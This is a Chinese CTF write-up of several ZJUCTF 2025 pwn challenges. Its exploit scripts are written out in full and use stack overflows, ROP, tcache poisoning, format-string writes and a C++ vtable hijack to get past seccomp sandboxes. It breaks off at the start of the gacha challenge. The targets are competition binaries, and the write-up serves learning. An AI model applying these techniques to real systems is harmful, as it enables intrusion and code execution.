引言:
2025 ZJUCTF Pwn方向题解,包含unlucky,safe,oh_arkpwn2025等10道赛题。
由于校巴上面上新了23年和24年校赛的pwn题目,所以本站对前两年的pwn题解进行暂时下架,本题解持续到下次校巴上新
1 who_am_i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int __cdecl main (int argc, const char **argv, const char **envp) { int n3; _DWORD buf[12 ]; __int16 v6; char command[7 ]; int *p_argc; p_argc = &argc; strcpy (command, "whoami" ); memset (buf, 0 , sizeof (buf)); v6 = 0 ; n3 = 0 ; setvbuf (stdin, 0 , 2 , 0 ); setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stderr, 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { printf ("[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " ); if ( __isoc99_scanf("%d" , &n3) ) break ; puts ("Invalid input." ); while ( getchar () != 10 ) ; } if ( n3 == 3 ) break ; if ( n3 > 3 ) goto LABEL_14; if ( n3 == 1 ) { system (command); } else if ( n3 == 2 ) { read (0 , buf, 0x50 u); printf ("Hello, %s\n" , buf); } else { LABEL_14: puts ("Invalid choice." ); } } puts ("Goodbye!" ); return 0 ; }
可以看到我们可以通过溢出buf到command,将command覆盖为/bin/sh,这样执行的时候就会执行/bin/sh
打通该容器可以在该容器下面找到revenge of who_am_i的附件
在此之前一直以为revenge是个无附件题,在那爆破呢还.......
2 revenge of who_am_i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int __cdecl main (int argc, const char **argv, const char **envp) { int n3; _DWORD buf[12 ]; __int16 v6; unsigned int v7; int *p_argc; p_argc = &argc; v7 = __readgsdword(0x14 u); memset (buf, 0 , sizeof (buf)); v6 = 0 ; n3 = 0 ; setvbuf (stdin, 0 , 2 , 0 ); setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stderr, 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { printf ("[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " ); if ( __isoc99_scanf("%d" , &n3) ) break ; puts ("Invalid input." ); while ( getchar () != 10 ) ; } if ( n3 == 3 ) break ; if ( n3 > 3 ) goto LABEL_14; if ( n3 == 1 ) { system ("whoami" ); } else if ( n3 == 2 ) { read (0 , buf, 0x50 u); printf ("Hello, %s\n" , buf); } else { LABEL_14: puts ("Invalid choice." ); } } puts ("Goodbye!" ); return 0 ; }
相较上一题,这一题把whoami改成了硬编码,但仍然存在栈溢出,这时候我们只要打一个32位的rop就行了
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *from wstube import websocketcontext(os='linux' , arch='amd64' ) context.terminal = ['tmux' , 'splitw' , '-h' ] p = websocket("wss://ctf.zjusec.com/api/proxy/5e3186a2-873f-43af-a27b-2b3692ac372f" ) payload = 0x39 - 0x7 payload = b"A" * (0x42 - 3 - 4 - 8 ) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) p.recvuntil(payload) canary = b"\x00" + p.recv(3 ) success("canary => " + hex (u32(canary))) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) payload = b"A" * (0x42 - 4 - 8 ) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) p.recvuntil(payload) arg1 = u32(p.recv(4 )) success("1 => " + hex (arg1)) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) payload = b"A" * (0x42 - 7 ) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) p.recvuntil(payload) arg2 = u32(b"\x00" + p.recv(3 )) success("2 => " + hex (arg2)) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) payload = b"A" * (0x42 - 4 ) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) p.recvuntil(payload) arg3 = u32(p.recv(4 )) success("3 => " + hex (arg3)) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) payload = b"A" * (0x42 ) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) p.recvuntil(payload) leak = u32(p.recv(4 )) success("leak => " + hex (leak)) libc_base = leak - (0xf7ca6519 - 0xf7c85000 ) success("libc_base => " + hex (libc_base)) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) one_gadget = [0xdeee3 , 0x172951 , 0x172952 ] one_gadget = libc_base + one_gadget[1 ] libc = ELF("./libc.so.6" ) str_bin_sh = libc_base + next (libc.search(b"/bin/sh\x00" )) system = libc_base + libc.sym['system' ] payload = b"A" * 10 + p32(system) + p32(str_bin_sh) + p32(str_bin_sh) + p32(str_bin_sh) payload = payload.ljust(0x42 -8 -8 , b"A" ) + canary payload += p32(arg1 - 0x50 + 8 ) payload += p32(arg1) payload += p32(arg1) payload += p32(0 ) payload += p32(one_gadget) payload += p32(one_gadget) payload += p32(one_gadget) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) s(payload) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (3 )) inter()
32位程序比较烦,他会在ebp上面维持一坨元数据,比如全局偏移表之类乱七八糟的,所以在打栈溢出之前我选择把这些东西一个个泄露下来保存(包括canary),之后打溢出的时候再还原回去,我的做法选择直接将程序打到one_gadget
ZJUCTF{ea$iest_re72l1bc_u_know_r0p_w3ll}
3 sandbox of who_am_i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { __uid_t uid; int n3; int size; __int64 v6; void *s; struct passwd *v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); v6 = seccomp_init (2147418112LL , argv, envp); seccomp_rule_add (v6, 0LL , 59LL , 0LL ); seccomp_rule_add (v6, 0LL , 322LL , 0LL ); seccomp_rule_add (v6, 0LL , 2LL , 0LL ); seccomp_load (v6); seccomp_release (v6); setvbuf (stdin, 0LL , 2 , 0LL ); setvbuf (stdout, 0LL , 2 , 0LL ); setvbuf (stderr, 0LL , 2 , 0LL ); n3 = 0 ; while ( 1 ) { while ( 1 ) { printf ("[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " ); if ( (unsigned int )__isoc99_scanf("%d" , &n3) ) break ; puts ("Invalid input." ); while ( getchar () != 10 ) ; } if ( n3 == 3 ) { puts ("Goodbye!" ); exit (0 ); } if ( n3 > 3 ) { LABEL_16: puts ("Invalid choice." ); } else if ( n3 == 1 ) { uid = getuid (); v8 = getpwuid (uid); puts (v8->pw_name); } else { if ( n3 != 2 ) goto LABEL_16; size = 0 ; __isoc99_scanf("%d" , &size); if ( size > 0 && size <= 1280 ) { s = malloc (size); memset (s, 0 , size); read (0 , s, 0x500 uLL); printf ("Hello, %s\n" , (const char *)s); } } } }
main函数里面做了如下的修改,我们写入的字符串会被分配到堆上,并且whoami的方式也改成了去找uid对应的name。但是这里有一个洞,不论我们分配什么size的堆都会允许输入0x500个字节,存在堆溢出。
但问题是我们没有办法第二次利用这个堆,也就是我们必须有一个free状态的堆块才能用新分配的这个chunk搞事情
但还好,可以看到程序之前加了一坨沙箱,这一堆沙箱会为我们生成一大坨已free的位于tcache链子上的堆块
那我们就可以利用堆溢出搞事情了,比如分配一个0x20大小的堆块,就会把0x20链子上的第一个堆块拿出来,然后可以去通过溢出改写任何一个高地址堆块的fd,控制下一次高地址堆块所处tcachebin链子分配的地址。
看了下沙箱:
1 2 3 4 5 6 7 8 9 10 11 12 13 root@LAPTOP-1 THOKMAC:/home/wingee/ZJUCTF2025/sandbox# seccomp-tools dump ./sandbox line CODE JT JF K ================================= 0000 : 0x20 0x00 0 x00 0x00000004 A = arch 0001 : 0x15 0x00 0 x07 0 xc000003e if (A != ARCH_X86_64) goto 0009 0002 : 0x20 0x00 0 x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0 x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0 x04 0 xffffffff if (A != 0 xffffffff) goto 0009 0005 : 0x15 0x03 0 x00 0x00000002 if (A == open) goto 0009 0006 : 0x15 0x02 0 x00 0 x0000003b if (A == execve) goto 0009 0007 : 0x15 0x01 0 x00 0x00000142 if (A == execveat) goto 0009 0008 : 0x06 0x00 0 x00 0 x7fff0000 return ALLOW 0009 : 0x06 0x00 0 x00 0x00000000 return KILL
不允许open的话用openat替代就好了,这题对分配的堆块有读的功能,2.35的libc,所以不用打IO,打environ泄露栈地址rop就行
其他的堆块布局如下
1 2 3 4 5 6 7 8 9 fastbins 0x20 : 0 x652c8d90b320 —▸ 0 x652c8d90b410 —▸ 0 x652c8d90b430 —▸ 0 x652c8d90be30 —▸ 0 x652c8d90bf40 —▸ 0 x652c8d90c050 —▸ 0 x652c8d90c300 —▸ 0 x652c8d90c4a0 ◂— ...0x70 : 0 x652c8d90be50 —▸ 0 x652c8d90c530 —▸ 0 x652c8d90c390 —▸ 0 x652c8d90c1f0 ◂— 0 unsortedbin all : 0 x652c8d90b9d0 —▸ 0 x77b17cc1ace0 (main_arena+96 ) ◂— 0 x652c8d90b9d0smallbins empty largebins empty
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *from wstube import websocketcontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] p = websocket("wss://ctf.zjusec.com/api/proxy/3fd7721e-f955-41c7-80a9-24caceac4867" ) libc = ELF("./libc.so.6" ) def whoami (): sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (1 )) def whoareyou (size, payload ): sla(b"[1] Who am I?\n[2] Who are you?\n[3] Goodbye!\nYour choice: " , str (2 )) sl(str (size)) s(payload) payload = b"A" * 0x1c0 + b"A" * 0x10 whoami() whoareyou(0x1c0 , payload) p.recvuntil(payload) libc_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - (0x7092aee1ace0 - 0x7092aec00000 ) success("libc_base => " + hex (libc_base)) payload = b"flag" .ljust(0x340 - 0x290 , b"A" ) whoareyou(0x50 , payload) p.recvuntil(payload) heap_base = u64(p.recv(5 ).ljust(8 , b'\x00' )) << 12 success("heap_base => " + hex (heap_base)) key = heap_base >> 12 payload = b"A" * (0xed0 - 0xb10 ) + p64((libc_base + libc.sym["__environ" ] - 0x70 ) ^ key) whoareyou(0xc0 , payload) payload = b"A" * 0x70 whoareyou(0x70 , payload) payload = b"A" * 0x70 whoareyou(0x70 , payload) p.recvuntil(payload) stack_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) success("stack_addr => " + hex (stack_addr)) pre_ret_addr = stack_addr - ( 0x7ffd5f0ea098 - 0x7ffd5f0e9f40 ) - 8 - 8 - 0xc0 success("pre_ret_addr => " + hex (pre_ret_addr)) paylaod = b"A" * (0x7e0 - 0x6b0 ) + p64(pre_ret_addr ^ key) whoareyou(0xe0 , paylaod) payload = b"A" whoareyou(0xc0 , payload) payload = b"A" nop_ret = libc_base + 0x05464f pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_rbx_ret = libc_base + 0x00000000000904a9 pop_rax = libc_base + 0x45eb0 pop_rcx = libc_base + 0x000000000003d1ee syscall = 0x42759 + libc_base flag_addr = heap_base + 0x1900 payload = b"./flag\x00" whoareyou(0x50 , payload) payload = p64(pop_rdi_ret + 1 ) * (0xd0 // 8 ) payload += p64(pop_rdi_ret) + p64(0xFFFFFFFFFFFFFF9C ) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rax) + p64(257 ) + p64(pop_rdx_rbx_ret) + p64(0 ) + p64(0 ) + p64(pop_rcx) + p64(heap_base) + p64(syscall) payload += p64(pop_rdi_ret) + p64(5 ) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_rbx_ret) + p64(0x40 ) + p64(0 ) + p64(pop_rax) + p64(0 ) + p64(syscall) payload += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_rbx_ret) + p64(0x40 ) + p64(0 ) + p64(pop_rax) + p64(1 ) + p64(syscall) payload += p64(libc_base + libc.sym["exit" ]) whoareyou(0xc0 , payload) inter()
第一次whoami之后发现在高地址处出现了一个用起来特别顺手的unsorted bin,直接堆溢出到这个unsorted bin把指针拉出来泄露libc~
后面就是用各种size的tcachebin链子的第一堆块互相覆盖fd来控堆块分配的地址,包括分配到environ泄露栈地址,分配到栈上写rop
麻烦的就是远程用openat打开文件之后fd不是3是5,这个真是一个个试出来的。
ZJUCTF{L1bc2.35_IO_FILE+s3cC0Mp-eXecVe&0Pen=wHO_@m_i-3}
4 2048
这个题目好像实现了一个特别复杂的游戏功能,
不重要,一眼丁到了格式化字符串漏洞。明确,无限次执行,payload长度最长可以到达0x64字节大小
1 2 3 4 5 6 7 root@LAPTOP- 1 THOKMAC :/home/wingee/ZJUCTF2025/Pwn/2048 # checksec target [*] '/home/wingee/ZJUCTF2025/Pwn/2048/target' Arch : amd64-64 -little RELRO : Full RELRO Stack : Canary found NX : NX enabled PIE : PIE enabled
Full Relro不能劫持GOT,所以选择篡改main函数返回地址到one_gadget
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *from wstube import websocketcontext(os='linux' , arch='amd64' , log_level='debug' ) p = websocket("wss://ctf.zjusec.com/api/proxy/36592754-e144-4d99-a247-90da749f98ce" ) elf = ELF("./target" ) offset_csu = 0x98 // 8 + 1 + 5 p.recv() payload = "%{}$p" .format (offset_csu).encode() sl(payload) p.recvuntil(b'0x' ) leak = eval ("0x" + p.recv(12 ).decode()) success("leak => " + hex (leak)) elf_base = leak - (0x5bb9b76fb9cd - 0x5bb9b76f9000 ) success("elf_base => " + hex (elf_base)) p.recv() offset_stack_ptr = 0xc0 // 8 + 1 + 5 paylaod = "%{}$p" .format (offset_stack_ptr).encode() sl(paylaod) p.recvuntil(b'0x' ) stack_ptr = eval ("0x" + p.recv(12 ).decode()) ptr_2_ret = stack_ptr - (0x7a0 - 0x6b8 ) success("stack_ptr => " + hex (stack_ptr)) p.recv() target_addr = elf_base + 0x2816 one_gadget = [0xe3afe , 0xe3b01 , 0xe3b04 ] offset_4 = 0xd8 // 8 + 1 + 5 payload = "%{}$p" .format (offset_4).encode() sl(payload) p.recvuntil(b'0x' ) leak = eval ("0x" + p.recv(12 ).decode()) success("leak => " + hex (leak)) libc_base = leak - (0x79c77370b083 - 0x79c7736e7000 ) success("libc_base => " + hex (libc_base)) p.recv() one_gadget_addr = libc_base + one_gadget[1 ] target_addr = one_gadget_addr offset_3 = 0x40 // 8 + 1 + 5 + 3 for i in range (6 ): place = offset_3 target_byte = (target_addr >> (i * 8 )) & 0xff target_byte = (0x100 - len ("> unknown cmd: " )) + target_byte payload = "%{}c%{}$hhn" .format (target_byte, place).encode() payload = payload.ljust(0x18 , b'\x00' ) payload += p64(ptr_2_ret + i) s(payload) r() ptr_2_rbp = ptr_2_ret - 0x8 target_addr = elf_base + 0x5020 + 0x100 for i in range (6 ): place = offset_3 target_byte = (target_addr >> (i * 8 )) & 0xff target_byte = (0x100 - len ("> unknown cmd: " )) + target_byte payload = "%{}c%{}$hhn" .format (target_byte, place).encode() payload = payload.ljust(0x18 , b'\x00' ) payload += p64(ptr_2_rbp + i) s(payload) r() sl(b"q" ) r() sl(b"y" ) inter()
需要注意的有这么几点:
我们是控制main函数返回地址到one_gadget,但这个libc2.31下main函数栈帧old rbp是0,所以我们得先把old_rbp改成一个可读可写的地址,这里选择elf程序的bss段+0x100
printf的字符串不止有我们输入的payload,还有他程序snprintf进去的> unknown cmd:,所以在执行写入的时候应该把这几个字符减掉
剩下就是正常的泄露三元素(elf地址,栈地址,libc地址)然后让程序结束main函数跳转到one_gadget了
flag:flag{2o48_1s_E4sy_T0_pvvN-&-9MIbwamf}
5 breakup
c++也成easy了吗...
题目给了源代码,先看一下源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <iostream> #include <string> using namespace std ; void sandbox () { prctl(PR_SET_NO_NEW_PRIVS, 1 , 0 , 0 , 0 ); struct sock_filter sfi [] = { {0x20 ,0x00 ,0x00 ,0x00000004 }, {0x15 ,0x00 ,0x05 ,0xC000003E }, {0x20 ,0x00 ,0x00 ,0x00000000 }, {0x35 ,0x00 ,0x01 ,0x40000000 }, {0x15 ,0x00 ,0x02 ,0xFFFFFFFF }, {0x15 ,0x01 ,0x00 ,0x0000003B }, {0x06 ,0x00 ,0x00 ,0x7FFF0000 }, {0x06 ,0x00 ,0x00 ,0x00000000 } }; struct sock_fprog sfp = { 8 , sfi }; prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp); } class Tomorin {public: string name; virtual ~Tomorin() { } void meet (const char *n) { name = n; } void band () { cout << "Please play band with me together," << endl ; cout << name << endl ; } }; char buf[0x200 ];int main () { sandbox(); cout .setf(ios::unitbuf); cout << "Ohayo,I'm Takamatsu Tomori,what's your name?" << endl ; string gugugaga; getline(cin , gugugaga); auto h = new Tomorin(); cout << "I didn't catch it, can you say it again?" << endl ; cin .getline(buf, 0x200 ); h->meet(buf); h->band(); delete[] h; return 0 ; }
看下沙箱:
1 2 3 4 5 6 7 8 9 10 11 root@LAPTOP-1 THOKMAC:/home/wingee/ZJUCTF2025/Pwn/breakup# seccomp-tools dump ./breakup line CODE JT JF K ================================= 0000 : 0x20 0x00 0 x00 0x00000004 A = arch 0001 : 0x15 0x00 0 x05 0 xc000003e if (A != ARCH_X86_64) goto 0007 0002 : 0x20 0x00 0 x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0 x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0 x02 0 xffffffff if (A != 0 xffffffff) goto 0007 0005 : 0x15 0x01 0 x00 0 x0000003b if (A == execve) goto 0007 0006 : 0x06 0x00 0 x00 0 x7fff0000 return ALLOW 0007 : 0x06 0x00 0 x00 0x00000000 return KILL
看下libc版本:
1 2 3 4 5 6 7 8 9 10 11 root@LAPTOP-1 THOKMAC:/home/wingee/ZJUCTF2025/Pwn/breakup# ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.39 -0 ubuntu8.6 ) stable release version 2.39 . Copyright (C) 2024 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 13.3 .0 . libc ABIs: UNIQUE IFUNC ABSOLUTE Minimum supported kernel: 3.2 .0 For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
(题目原本的libc是坏掉的,应该是只给了个软链接,这里的libc是从出题人给的Dockerfile的docker里拉出来的)
在题目里面可以看到有这么两句话
问了一下AI,AI说这是把h当做一个对象数组去free了。试着运行了一下程序,结果总是崩溃(意料之中)
动调一下看看这个delete到底在干什么:
可以看到在delete的时候实际上是在循环执行这四条指令,了解了一下c++的对象内存构造之后推测这四句话其实是这个意思:
1 2 3 4 5 6 7 8 9 | .... ----------------- <---- Object_Ptr --------------- | vtable | -----------------> | ~Object()ptr | ------------- --------------- 0x28 | nameptr | | ..... | ------------- | .... | ----------------- | vtable |
他去把h当做了一个存储对象的向量去free,在c++里,向量也会被以堆块的形式分配到内存里:
1 | size | obj1 | obj2 | .... |
首先,delete会去找这个数组的size,数组的size就表示他当前存储了多少个这样的对象,在这之后delete会从后向前释放对象
具体流程为:
从向量中找到这个对象的起始地址 sub rbx, 0x28
找到该对象所对应类的虚表指针 mov rax, qword ptr [rbx]
找到该对象所对应类的虚表中的该类的析构函数指针 mov rax, qword ptr [rax]
将当前对象的指针(地址)当做参数 mov rdi, rbx
调用析构函数 call rax
该流程会循环,即把虚表里面的每个函数都轮番调用一遍。
也就是说,如果我们能够控制delete []h的时候,delete所操作的第一个(实际上是h向量的最后一个对象)对象的虚表,就可以调用任何函数
可以看到这里有两次地址翻译,所以我们要找一块区域去构造虚表,看到程序有一个buf[0x200]我们可以进行输入并且程序没有开启pie,所以我们可以将buf构造成伪造得到虚表。
目前的问题是如何在h向量最后一个对象地址处构造东西,动调看一下这个地址是多少:
1 ► 0x401554 sub rbx , 0x28 RBX => 0xb498250 (0xb498278 - 0x28 )
该指针位于高地址处,看看我们有没有可以分配堆块的手段
1 2 string gugugaga;getline(cin , gugugaga);
在程序中我们可以预先输入一个字符串,在C++里string也是对象,也会分配在堆上,并且这里没有控制输入的大小,也就是我们可以分配一个极大堆块分配到我们想分配的地址处。在不断地尝试下发现分配一个0x800堆块的时候刚好可以构造到
可以看到莫名其妙多了一堆tcache的堆块,这是因为C++在分配字符串对象的堆块的时候它一开始也不知道要分配多大的,所以就一边接受字符一边看情况,如果接受的字符数量过多会调用类似realloc的东西将当前堆块free掉并且分配一个大的 ,就这样这里出现了一堆tcache的堆块,我们要构造的地址也在这些已free的tcache的地址区间,但无所谓,我们的payload已经写进去了,这些已free的堆块的内容并不会清空
通过精心构造之后,我们将虚表指针设置为buffer,buffer第一个元素写为我们想要让程序执行的函数就能控制执行流。
目前问题是如何泄露libc,看到该对象中有这么一个函数
1 2 3 4 void band () { cout << "Please play band with me together," << endl; cout << name << endl ;}
这个name在对象的内存构造中是一个紧挨着vtable指针的字符串指针,我们在构造的时候就可以将虚表第一项设置为band,将name指针设置为GOT
调用完band之后就可以泄露libc,我们将虚表第二项设置为这个地址:0x4014B8
因为虚表指针我们已经设置在对应的位置了,我们现在只需要继续修改虚表的内容就可以了,也就是改buf,那就跳到改buf之前的段落就好了
之后就是libc 2.39+沙箱的一套通用打法
将虚表第一项设置为svcudp_reply+29 使用svcupe中的magic gadget进行一波寄存器的调整
将虚表第二项设置为swapcontext+157设置寄存器,主要是设置rsp进行栈迁移
在buf + 0x100位置处布置伪造的context
在buf + 0x20位置处布置伪造的栈,libc 2.39里找不到pop rdx; ret 但可以找到这样一段话
1 2 3 4 5 6 7 8 9 11b74f : 48 89 f2 mov %rsi,%rdx11b752 : 31 f6 xor %esi,%esi11b754 : 0 f 05 syscall 11b756 : 3 d 00 f0 ff ff cmp $0 xfffff000,%eax11b75b : 76 1 b jbe 11 b778 <posix_fallocate@@GLIBC_2.2 .5 +0 x38>11b75d : 83 f8 a1 cmp $0 xffffffa1,%eax11b760 : 74 06 je 11 b768 <posix_fallocate@@GLIBC_2.2 .5 +0 x28>11b762 : f7 d8 neg %eax11b764 : c3 ret
可以把rsi给rdx,还能直接调用syscall,但一开始有个小问题,这里把rdx设置好之后会把rsi清空,之后调用syscall不就炸了?
但后来调试发现一点都不影响,syscall炸了程序并不会崩溃,而且这段gadget总会ret,所以我们使用这段gadget的时候就不必关心syscall的问题,全当做设置rdx的代码来使用就好了~
布置的栈就是一个常规的orw,本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *from wstube import websocketcontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] p = process("./vuln" ) payload = b"" elf = ELF("./breakup" ) band = 0x401706 buffer_addr = 0x404280 start = 0x401230 return_addr = 0x4014B8 idx1 = 0x70 idx2 = idx1 - (0x28 // 8 ) idx3 = 2 idx4 = idx1 + (0x28 + 0x48 - 0x50 ) // 8 one_gadget = [0x583f3 , 0x1111da , 0x1111e2 , 0x1111e7 ] for i in range (0x800 // 8 ): if i == idx1: payload += p64(buffer_addr) continue elif i == idx1 + 1 : payload += p64(0x403FB0 ) continue elif i == 0xa : payload += p64(0xdeadbeaf ) continue elif i == idx2: payload += p64(buffer_addr + 8 ) continue elif i == idx4: payload += p64(buffer_addr + 0x100 ) payload += p64(i) sla(b"Ohayo,I'm Takamatsu Tomori,what's your name?" , payload) gdb.attach(p) sleep(1 ) payload = p64(band) + p64(return_addr) payload = payload.ljust(0x1ff , b"\xAA" ) sla(b"I didn't catch it, can you say it again?" , payload) p.recvuntil(b"Please play band with me together," ) p.recvuntil(b"Please play band with me together," ) p.recvline() p.recv(0x20 ) response = u64(p.recv(6 ).ljust(8 , b'\x00' )) success("leak => " + hex (response)) libc_base = response - (0x7f9963b4a870 - 0x00007f99637a2000 ) success("libc_base => " + hex (libc_base)) one_gadget = libc_base + one_gadget[2 ] libc = ELF("./libc.so.6" ) swapcontext = libc_base + 0x5815d magic_gadget = libc_base + 0x7fda6bd87870 - 0x00007fda6ba07800 mov_rdx = 0x17926d + libc_base print (hex (mov_rdx))pop_rdi = libc_base + 0x010f78b pop_rsi_15 = libc_base + 0x010f789 pop_rdx = libc_base + 0x8d6a pop_rax = libc_base + 0x00dd237 ret_gadget = pop_rdi + 1 payload = p64(band) + p64(mov_rdx) set_rdx_syscall = libc_base + 0x11b74f orw = p64(pop_rdi) + p64(buffer_addr + 0x1d0 ) + p64(pop_rsi_15) + p64(0 ) + p64(0 ) + p64(libc_base + 0x11b150 ) print (hex (libc.sym["open" ]))orw += p64(pop_rdi) + p64(3 ) + p64(pop_rsi_15) + p64(buffer_addr + 0x100 ) + p64(0 ) + p64(pop_rax) + p64(0 ) + p64(set_rdx_syscall) orw += p64(pop_rdi) + p64(3 ) + p64(pop_rsi_15) + p64(buffer_addr + 0x100 ) + p64(0 ) + p64(pop_rax) + p64(0 ) + p64(set_rdx_syscall + 5 ) orw += p64(pop_rdi) + p64(1 ) + p64(pop_rsi_15) + p64(buffer_addr + 0x100 ) + p64(0 ) + p64(libc_base + 0x11c590 + 0xd ) orw += p64(0x40144d ) payload += orw print (hex (libc.sym["write" ]))payload = payload.ljust(0x100 , b"\xAA" ) payload += flat( { 0x10 : buffer_addr + 0x100 , 0x18 : buffer_addr + 0x100 , 0x28 : swapcontext, 0x68 : 0x10 , 0x70 : 0x2000 , 0x88 : 0x100 , 0xa0 : buffer_addr + 0x10 , 0xa8 : ret_gadget, 0xc8 : ret_gadget, 0xd0 : b"flag" , 0xe0 : buffer_addr, }, filler=b"\x00" ) sla(b"I didn't catch it, can you say it again?" , payload) inter()
感觉本题难点还是在如何布置虚表指针和泄露libc吧,后面的都一套秒了
flag:ZJUCTF{c_p1u5_p1u5_ru1n3d_my_84nd|6u6u6464}
6 gacha
这个题标了个easy-medium 然后上一个题,标的是easy,气笑了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int i; int n4919; sub_12E9(); while ( 1 ) { puts (s_0); printf ("> " ); n4919 = get_int(); if ( n4919 > 9 ) { if ( n4919 != 4919 ) goto LABEL_20; chance = 1 ; } else { if ( n4919 > 0 ) { switch ( n4919 ) { case 1 : one_pull(); continue ; case 2 : for ( i = 0 ; i <= 9 ; ++i ) one_pull(); continue ; case 3 : show(); continue ; case 4 : add(); continue ; case 5 : delete(); continue ; case 6 : list (); continue ; case 7 : clear(); continue ; case 8 : set_seed(); continue ; case 9 : exit (0 ); default : break ; } } LABEL_20: puts ("Invalid choice." ); } } }
一个菜单题,题目大意是抽卡,先把各个函数过一遍
